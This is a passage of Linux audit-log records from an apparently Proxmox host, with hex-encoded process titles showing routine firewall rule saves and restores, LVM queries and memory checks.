msg=audit(1781964945.744:63312): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965455171,"@rawstring":"node=pve type=PATH msg=audit(1781965455.171:65693): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945737,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.737:63311): proctitle=\"ip6tables-save\""} {"@timestamp":1781965455171,"@rawstring":"node=pve type=PATH msg=audit(1781965455.171:65693): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945729,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.729:63310): proctitle=\"iptables-save\""} {"@timestamp":1781965455163,"@rawstring":"node=pve type=PATH msg=audit(1781965455.163:65692): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945724,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.724:63309): proctitle=69707365740073617665"} {"@timestamp":1781965455163,"@rawstring":"node=pve type=PATH msg=audit(1781965455.163:65692): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945717,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.717:63308): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965455159,"@rawstring":"node=pve type=PATH msg=audit(1781965455.159:65691): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945711,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964945.711:63307): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965455159,"@rawstring":"node=pve type=PATH msg=audit(1781965455.159:65691): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964944502,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964944.502:63306): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965455151,"@rawstring":"node=pve type=PATH msg=audit(1781965455.151:65690): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964944466,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964944.466:63305): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965455151,"@rawstring":"node=pve type=PATH msg=audit(1781965455.151:65690): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964941210,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964941.210:63304): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965455145,"@rawstring":"node=pve type=PATH msg=audit(1781965455.145:65688): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964941210,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964941.210:63303): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965455145,"@rawstring":"node=pve type=PATH msg=audit(1781965455.145:65688): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964941210,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964941.210:63302): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965455139,"@rawstring":"node=pve type=PATH msg=audit(1781965455.139:65687): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964941199,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964941.199:63301): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965455139,"@rawstring":"node=pve type=PATH msg=audit(1781965455.139:65687): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964941199,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964941.199:63300): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965455133,"@rawstring":"node=pve type=PATH msg=audit(1781965455.133:65686): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964941199,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964941.199:63299): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965455133,"@rawstring":"node=pve type=PATH msg=audit(1781965455.133:65686): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964940028,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964940.028:63297): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965455125,"@rawstring":"node=pve type=PATH msg=audit(1781965455.125:65685): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964940028,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964940.028:63298): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965455125,"@rawstring":"node=pve type=PATH msg=audit(1781965455.125:65685): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964940026,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964940.026:63296): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965455120,"@rawstring":"node=pve type=PATH msg=audit(1781965455.120:65684): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964936190,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964936.190:63295): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965455120,"@rawstring":"node=pve type=PATH msg=audit(1781965455.120:65684): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964936190,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964936.190:63294): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965455114,"@rawstring":"node=pve type=PATH msg=audit(1781965455.114:65683): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964936190,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964936.190:63293): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965455114,"@rawstring":"node=pve type=PATH msg=audit(1781965455.114:65683): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964936180,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964936.180:63292): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965455106,"@rawstring":"node=pve type=PATH msg=audit(1781965455.106:65682): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964936179,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964936.179:63291): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965455106,"@rawstring":"node=pve type=PATH msg=audit(1781965455.106:65682): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964936179,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964936.179:63290): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965455094,"@rawstring":"node=pve type=PATH msg=audit(1781965455.094:65681): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935700,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.700:63289): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965455094,"@rawstring":"node=pve type=PATH msg=audit(1781965455.094:65681): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.697:63288): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965455089,"@rawstring":"node=pve type=PATH msg=audit(1781965455.089:65680): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935696,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.696:63287): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965455089,"@rawstring":"node=pve type=PATH msg=audit(1781965455.089:65680): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935696,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.696:63286): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965455086,"@rawstring":"node=pve type=PATH msg=audit(1781965455.086:65679): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935693,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.693:63285): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965455086,"@rawstring":"node=pve type=PATH msg=audit(1781965455.086:65679): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935686,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.686:63284): proctitle=\"ip6tables-save\""} {"@timestamp":1781965455084,"@rawstring":"node=pve type=PATH msg=audit(1781965455.084:65678): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935679,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.679:63283): proctitle=\"iptables-save\""} {"@timestamp":1781965455084,"@rawstring":"node=pve type=PATH msg=audit(1781965455.084:65678): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935672,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.672:63282): proctitle=\"ip6tables-save\""} {"@timestamp":1781965455084,"@rawstring":"node=pve type=PATH msg=audit(1781965455.084:65677): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935664,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.664:63281): proctitle=\"iptables-save\""} {"@timestamp":1781965455079,"@rawstring":"node=pve type=PATH msg=audit(1781965455.079:65676): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935662,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.662:63280): proctitle=\"ebtables-restore\""} {"@timestamp":1781965455079,"@rawstring":"node=pve type=PATH msg=audit(1781965455.079:65676): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935659,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.659:63279): proctitle=\"ebtables-restore\""} {"@timestamp":1781965455079,"@rawstring":"node=pve type=PATH msg=audit(1781965455.079:65676): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935654,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.654:63278): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965455071,"@rawstring":"node=pve type=PATH msg=audit(1781965455.071:65675): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935648,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.648:63277): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965455071,"@rawstring":"node=pve type=PATH msg=audit(1781965455.071:65675): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935642,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.642:63276): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965455062,"@rawstring":"node=pve type=PATH msg=audit(1781965455.062:65674): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935636,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.636:63275): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965455062,"@rawstring":"node=pve type=PATH msg=audit(1781965455.062:65674): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935631,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.631:63274): proctitle=697073657400726573746F7265"} {"@timestamp":1781965455056,"@rawstring":"node=pve type=PATH msg=audit(1781965455.056:65673): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935625,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.625:63273): proctitle=\"ip6tables-save\""} {"@timestamp":1781965455056,"@rawstring":"node=pve type=PATH msg=audit(1781965455.056:65673): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935618,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.618:63272): proctitle=\"iptables-save\""} {"@timestamp":1781965455047,"@rawstring":"node=pve type=PATH msg=audit(1781965455.047:65672): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935614,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.614:63271): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965455047,"@rawstring":"node=pve type=PATH msg=audit(1781965455.047:65672): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935610,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.610:63270): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965455039,"@rawstring":"node=pve type=PATH msg=audit(1781965455.039:65671): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.608:63269): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965455039,"@rawstring":"node=pve type=PATH msg=audit(1781965455.039:65671): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.608:63268): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965454590,"@rawstring":"node=pve type=PATH msg=audit(1781965454.590:65670): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935603,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.603:63267): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965454590,"@rawstring":"node=pve type=PATH msg=audit(1781965454.590:65670): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935597,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.597:63266): proctitle=\"ip6tables-save\""} {"@timestamp":1781965454567,"@rawstring":"node=pve type=PATH msg=audit(1781965454.567:65669): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935590,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.590:63265): proctitle=\"iptables-save\""} {"@timestamp":1781965454567,"@rawstring":"node=pve type=PATH msg=audit(1781965454.567:65669): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935585,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.585:63264): proctitle=69707365740073617665"} {"@timestamp":1781965453054,"@rawstring":"node=pve type=PATH msg=audit(1781965453.054:65668): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935579,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.579:63263): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965453054,"@rawstring":"node=pve type=PATH msg=audit(1781965453.054:65668): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964935571,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964935.571:63262): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965453054,"@rawstring":"node=pve type=PATH msg=audit(1781965453.054:65667): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964934385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964934.385:63261): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965453054,"@rawstring":"node=pve type=PATH msg=audit(1781965453.054:65666): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964934351,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964934.351:63260): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965453045,"@rawstring":"node=pve type=PATH msg=audit(1781965453.045:65665): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964931175,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964931.175:63259): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965453045,"@rawstring":"node=pve type=PATH msg=audit(1781965453.045:65665): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964931175,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964931.175:63258): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965453044,"@rawstring":"node=pve type=PATH msg=audit(1781965453.044:65664): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964931175,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964931.175:63257): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965453044,"@rawstring":"node=pve type=PATH msg=audit(1781965453.044:65663): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964931169,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964931.169:63256): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965448034,"@rawstring":"node=pve type=PATH msg=audit(1781965448.034:65662): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964931169,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964931.169:63255): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965448034,"@rawstring":"node=pve type=PATH msg=audit(1781965448.034:65662): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964931169,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964931.169:63254): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965448034,"@rawstring":"node=pve type=PATH msg=audit(1781965448.034:65661): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 